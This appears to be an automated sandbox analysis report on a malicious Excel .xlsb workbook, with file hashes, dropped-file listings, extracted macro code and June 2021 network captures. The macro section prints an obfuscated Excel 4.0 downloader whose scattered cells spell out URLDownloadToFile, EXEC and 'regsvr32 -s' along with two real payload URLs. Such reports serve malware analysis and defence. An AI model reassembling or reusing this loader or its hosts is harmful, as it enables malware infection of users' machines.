                                                                                                                                                          Malicious:false
                                                                                                                                                          Preview: .U.N.0.}G.....J\@Z!....w.`?....U..1..=c7..JK)...'s.3.x|...z.....7#V..^i....u}.*L.)a...-.......n..+.v.>.p.9......p...hE.... .\t.OF._\z...:e.6._.L.T]-hy.d...~...T-.!.-E"....w$......%..C....H.4!jb.......o...{.m..7gD0......2K)..?...r.c........T7".?.[|a......f;H6.b....).5V........Y.......?A.v.l._.....Qt.B....b........c..t........\..g..a'...........6..].k..:T..Y.....}...K3.&..4.#....D..u .I.z.m..kF......@m...<.......PK..........!.[:..............[Content_Types].xml ...(.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                          C:\Users\user\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC
                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                          File Type:Little-endian UTF-16 Unicode text, with CR line terminators
                                                                                                                                                          Category:dropped
                                                                                                                                                          Size (bytes):22
                                                                                                                                                          Entropy (8bit):2.9808259362290785
                                                                                                                                                          Encrypted:false
                                                                                                                                                          SSDEEP:3:QAlX0Gn:QKn
                                                                                                                                                          MD5:7962B839183642D3CDC2F9CEBDBF85CE
                                                                                                                                                          SHA1:2BE8F6F309962ED367866F6E70668508BC814C2D
                                                                                                                                                          SHA-256:5EB8655BA3D3E7252CA81C2B9076A791CD912872D9F0447F23F4C4AC4A6514F6
                                                                                                                                                          SHA-512:2C332AC29FD3FAB66DBD918D60F9BE78B589B090282ED3DBEA02C4426F6627E4AAFC4C13FBCA09EC4925EAC3ED4F8662FDF1D7FA5C9BE714F8A7B993BECB3342
                                                                                                                                                          Malicious:false
                                                                                                                                                          Preview: ....p.r.a.t.e.s.h.....
                                                                                                                                                          C:\Users\user\Desktop\~$DEMLwnv0Nt.xlsb
                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                          File Type:data
                                                                                                                                                          Category:dropped
                                                                                                                                                          Size (bytes):165
                                                                                                                                                          Entropy (8bit):1.6081032063576088
                                                                                                                                                          Encrypted:false
                                                                                                                                                          SSDEEP:3:RFXI6dtt:RJ1
                                                                                                                                                          MD5:7AB76C81182111AC93ACF915CA8331D5
                                                                                                                                                          SHA1:68B94B5D4C83A6FB415C8026AF61F3F8745E2559
                                                                                                                                                          SHA-256:6A499C020C6F82C54CD991CA52F84558C518CBD310B10623D847D878983A40EF
                                                                                                                                                          SHA-512:A09AB74DE8A70886C22FB628BDB6A2D773D31402D4E721F9EE2F8CCEE23A569342FEECF1B85C1A25183DD370D1DFFFF75317F628F9B3AA363BBB60694F5362C7
                                                                                                                                                          Malicious:true
                                                                                                                                                          Preview: .pratesh ..p.r.a.t.e.s.h. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

                                                                                                                                                          Static File Info

                                                                                                                                                          General

                                                                                                                                                          File type:Microsoft Excel 2007+
                                                                                                                                                          Entropy (8bit):7.957827832827454
                                                                                                                                                          TrID:
                                                                                                                                                          • Excel Microsoft Office Binary workbook document (47504/1) 49.74%
                                                                                                                                                          • Excel Microsoft Office Open XML Format document (40004/1) 41.89%
                                                                                                                                                          • ZIP compressed archive (8000/1) 8.38%
                                                                                                                                                          File name:DEMLwnv0Nt.xlsb
                                                                                                                                                          File size:157733
                                                                                                                                                          MD5:de89502fa0ed1e751a5c68ef542113e6
                                                                                                                                                          SHA1:776a87b2f73019ac58990fccbc3f5720484c3cf7
                                                                                                                                                          SHA256:449e2cb6732de53677803fd5badb9e93c210df49b272b8c319d82a547db3722a
                                                                                                                                                          SHA512:07840bb4e7f6481fabc405bf05ee722ad727b58c1fb8312e9ac97f1c54aa48ba030c0d44643442808f7d9e06aa2ddf4eb75c14b1cdd0af4b1bf62f2cbb0be93a
                                                                                                                                                          SSDEEP:3072:5zjTemXbxVymd1xXPMU9VlUBWA6CFvA7bRCxAVIKxS6:1TecbxVyWxfMU3liWA6FsYn
                                                                                                                                                          File Content Preview:PK..........!...k.....".......[Content_Types].xml ...(.........................................................................................................................................................................................................

                                                                                                                                                          File Icon

                                                                                                                                                          Icon Hash:74f0d0d2c6d6d0f4

                                                                                                                                                          Static OLE Info

                                                                                                                                                          General

                                                                                                                                                          Document Type:OpenXML
                                                                                                                                                          Number of OLE Files:1

                                                                                                                                                          OLE File "DEMLwnv0Nt.xlsb"

                                                                                                                                                          Indicators

                                                                                                                                                          Has Summary Info:
                                                                                                                                                          Application Name:
                                                                                                                                                          Encrypted Document:
                                                                                                                                                          Contains Word Document Stream:
                                                                                                                                                          Contains Workbook/Book Stream:
                                                                                                                                                          Contains PowerPoint Document Stream:
                                                                                                                                                          Contains Visio Document Stream:
                                                                                                                                                          Contains ObjectPool Stream:
                                                                                                                                                          Flash Objects Count:
                                                                                                                                                          Contains VBA Macros:

                                                                                                                                                          Macro 4.0 Code

                                                                                                                                                          "=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=FORMULA('Doc2'!BL28,'Doc3'!AY16)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=FORMULA(""U""&'Doc3'!AY16&'Doc2'!BL29&'Doc2'!BL30,'Doc3'!AY10)",,,"=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=FORMULA('Doc2'!BJ39&'Doc2'!BO28&'Doc3'!AY17&'Doc2'!BJ43&'Doc3'!AY10&'Doc2'!BJ41&'Doc2'!BJ42&'Doc2'!BJ41&'Doc3'!AY11&'Doc2'!BJ41&'Doc2'!BJ42&'Doc2'!BJ41&'Doc3'!AY12&'Doc2'!BJ41&'Doc2'!BJ45&'Doc2'!BJ42&'Doc2'!BJ41&""https://""&'Doc3'!AY13&'Doc2'!BJ41&'Doc2'!BJ42&'Doc2'!BJ41&before.4.6.53.sheet!BG23&'Doc2'!BJ41&'Doc2'!BJ45&'Doc2'!BJ45&'Doc2'!BJ44,'Doc3'!AW10)=SUMXMY2(452354,45245)",,,,,,,,,"=FORMULA('Doc2'!BO36,'Doc3'!AY13)",,,=GOTO('Doc3'!AW8),,,"=FORMULA('Doc2'!BM28&'Doc2'!BM29&'Doc2'!BM30&""B"",'Doc3'!AY12)",,,,,,"=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=A
                                                                                                                                                          ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,R,J,,CAL,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,EXEC,,,0,,LM,JC,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,on,CB,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,wnl,,oadT,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,Fil,,LDo,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,""")",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"""",,,,,o,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,&,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"(""r",,,,0,0,,,forfacks.com/v97aI6WALA4/fasol.html,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,eg,,,,,,,,dreamhimalayan.com/FMP5KgobFi/fasol.html,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,svr32 -s ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=,=,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"""",,,,,"=LEFT(""LdecvsbgvrsxLxrgxg"",1)",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,",",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"(""",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,",0",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
                                                                                                                                                          ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=HALT(),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,

                                                                                                                                                          Network Behavior

                                                                                                                                                          Network Port Distribution

                                                                                                                                                          TCP Packets

                                                                                                                                                          TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                          Jun 9, 2021 17:17:12.171324015 CEST49733443192.168.2.4192.185.48.167
                                                                                                                                                          Jun 9, 2021 17:17:12.337065935 CEST44349733192.185.48.167192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:12.337205887 CEST49733443192.168.2.4192.185.48.167
                                                                                                                                                          Jun 9, 2021 17:17:12.338066101 CEST49733443192.168.2.4192.185.48.167
                                                                                                                                                          Jun 9, 2021 17:17:12.502351999 CEST44349733192.185.48.167192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:12.504328012 CEST44349733192.185.48.167192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:12.504353046 CEST44349733192.185.48.167192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:12.504369020 CEST44349733192.185.48.167192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:12.504384995 CEST44349733192.185.48.167192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:12.504484892 CEST49733443192.168.2.4192.185.48.167
                                                                                                                                                          Jun 9, 2021 17:17:12.508121014 CEST44349733192.185.48.167192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:12.508276939 CEST49733443192.168.2.4192.185.48.167
                                                                                                                                                          Jun 9, 2021 17:17:12.520911932 CEST49733443192.168.2.4192.185.48.167
                                                                                                                                                          Jun 9, 2021 17:17:12.698812962 CEST44349733192.185.48.167192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:12.699126959 CEST49733443192.168.2.4192.185.48.167
                                                                                                                                                          Jun 9, 2021 17:17:12.700515032 CEST49733443192.168.2.4192.185.48.167
                                                                                                                                                          Jun 9, 2021 17:17:12.905447006 CEST44349733192.185.48.167192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:13.295053005 CEST44349733192.185.48.167192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:13.295146942 CEST49733443192.168.2.4192.185.48.167
                                                                                                                                                          Jun 9, 2021 17:17:13.295710087 CEST44349733192.185.48.167192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:13.295794964 CEST49733443192.168.2.4192.185.48.167
                                                                                                                                                          Jun 9, 2021 17:17:13.373259068 CEST49734443192.168.2.4192.185.113.120
                                                                                                                                                          Jun 9, 2021 17:17:13.534096956 CEST44349734192.185.113.120192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:13.534421921 CEST49734443192.168.2.4192.185.113.120
                                                                                                                                                          Jun 9, 2021 17:17:13.535053968 CEST49734443192.168.2.4192.185.113.120
                                                                                                                                                          Jun 9, 2021 17:17:13.694350958 CEST44349734192.185.113.120192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:13.694988966 CEST44349734192.185.113.120192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:13.695014954 CEST44349734192.185.113.120192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:13.695035934 CEST44349734192.185.113.120192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:13.695050955 CEST44349734192.185.113.120192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:13.695085049 CEST49734443192.168.2.4192.185.113.120
                                                                                                                                                          Jun 9, 2021 17:17:13.695107937 CEST49734443192.168.2.4192.185.113.120
                                                                                                                                                          Jun 9, 2021 17:17:13.698019028 CEST44349734192.185.113.120192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:13.698127985 CEST49734443192.168.2.4192.185.113.120
                                                                                                                                                          Jun 9, 2021 17:17:13.710179090 CEST49734443192.168.2.4192.185.113.120
                                                                                                                                                          Jun 9, 2021 17:17:13.869726896 CEST44349734192.185.113.120192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:13.869815111 CEST49734443192.168.2.4192.185.113.120
                                                                                                                                                          Jun 9, 2021 17:17:13.870517015 CEST49734443192.168.2.4192.185.113.120
                                                                                                                                                          Jun 9, 2021 17:17:14.072205067 CEST44349734192.185.113.120192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:14.142074108 CEST44349734192.185.113.120192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:14.142168999 CEST49734443192.168.2.4192.185.113.120
                                                                                                                                                          Jun 9, 2021 17:17:14.142371893 CEST44349734192.185.113.120192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:14.142436028 CEST49734443192.168.2.4192.185.113.120
                                                                                                                                                          Jun 9, 2021 17:18:56.040482998 CEST49734443192.168.2.4192.185.113.120
                                                                                                                                                          Jun 9, 2021 17:18:56.041179895 CEST49733443192.168.2.4192.185.48.167
                                                                                                                                                          Jun 9, 2021 17:18:56.429311037 CEST49734443192.168.2.4192.185.113.120
                                                                                                                                                          Jun 9, 2021 17:18:56.444848061 CEST49733443192.168.2.4192.185.48.167
                                                                                                                                                          Jun 9, 2021 17:18:57.116869926 CEST49734443192.168.2.4192.185.113.120
                                                                                                                                                          Jun 9, 2021 17:18:57.163790941 CEST49733443192.168.2.4192.185.48.167
                                                                                                                                                          Jun 9, 2021 17:18:58.476195097 CEST49734443192.168.2.4192.185.113.120
                                                                                                                                                          Jun 9, 2021 17:18:58.601161003 CEST49733443192.168.2.4192.185.48.167
                                                                                                                                                          Jun 9, 2021 17:19:01.195247889 CEST49734443192.168.2.4192.185.113.120
                                                                                                                                                          Jun 9, 2021 17:19:01.461004019 CEST49733443192.168.2.4192.185.48.167
                                                                                                                                                          Jun 9, 2021 17:19:06.617611885 CEST49734443192.168.2.4192.185.113.120
                                                                                                                                                          Jun 9, 2021 17:19:07.180118084 CEST49733443192.168.2.4192.185.48.167
                                                                                                                                                          Jun 9, 2021 17:19:17.446552992 CEST49734443192.168.2.4192.185.113.120
                                                                                                                                                          Jun 9, 2021 17:19:18.618552923 CEST49733443192.168.2.4192.185.48.167

                                                                                                                                                          UDP Packets

                                                                                                                                                          TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                          Jun 9, 2021 17:16:52.714823008 CEST5309753192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:16:52.765933037 CEST53530978.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:16:53.503211975 CEST4925753192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:16:53.556369066 CEST53492578.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:16:55.514851093 CEST6238953192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:16:55.565174103 CEST53623898.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:16:56.398186922 CEST4991053192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:16:56.451294899 CEST53499108.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:16:56.611478090 CEST5585453192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:16:56.676508904 CEST53558548.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:16:57.459553003 CEST6454953192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:16:57.511985064 CEST53645498.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:06.074011087 CEST6315353192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:17:06.185586929 CEST53631538.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:06.560235977 CEST5299153192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:17:06.638209105 CEST53529918.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:07.545249939 CEST5299153192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:17:07.604470968 CEST53529918.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:08.582923889 CEST5299153192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:17:08.654603958 CEST53529918.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:10.748037100 CEST5299153192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:17:10.807436943 CEST53529918.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:11.987961054 CEST5370053192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:17:12.169286966 CEST53537008.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:13.312032938 CEST5172653192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:17:13.370625973 CEST53517268.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:14.733405113 CEST5299153192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:17:14.785475016 CEST53529918.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:22.115083933 CEST5679453192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:17:22.190349102 CEST53567948.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:30.561842918 CEST5653453192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:17:30.623698950 CEST53565348.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:31.448930025 CEST5662753192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:17:31.498925924 CEST53566278.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:32.252382040 CEST5662153192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:17:32.311402082 CEST53566218.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:33.423140049 CEST6311653192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:17:33.473335981 CEST53631168.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:34.780571938 CEST6407853192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:17:34.830507040 CEST53640788.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:37.045876026 CEST6480153192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:17:37.096999884 CEST53648018.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:37.905946970 CEST6172153192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:17:37.958843946 CEST53617218.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:38.671629906 CEST5125553192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:17:38.721667051 CEST53512558.8.8.8192.168.2.4
                                                                                                                                                          Jun 9, 2021 17:17:39.445799112 CEST6152253192.168.2.48.8.8.8
                                                                                                                                                          Jun 9, 2021 17:17:39.507230043 CEST53615228.8.8.8192.168.2.4
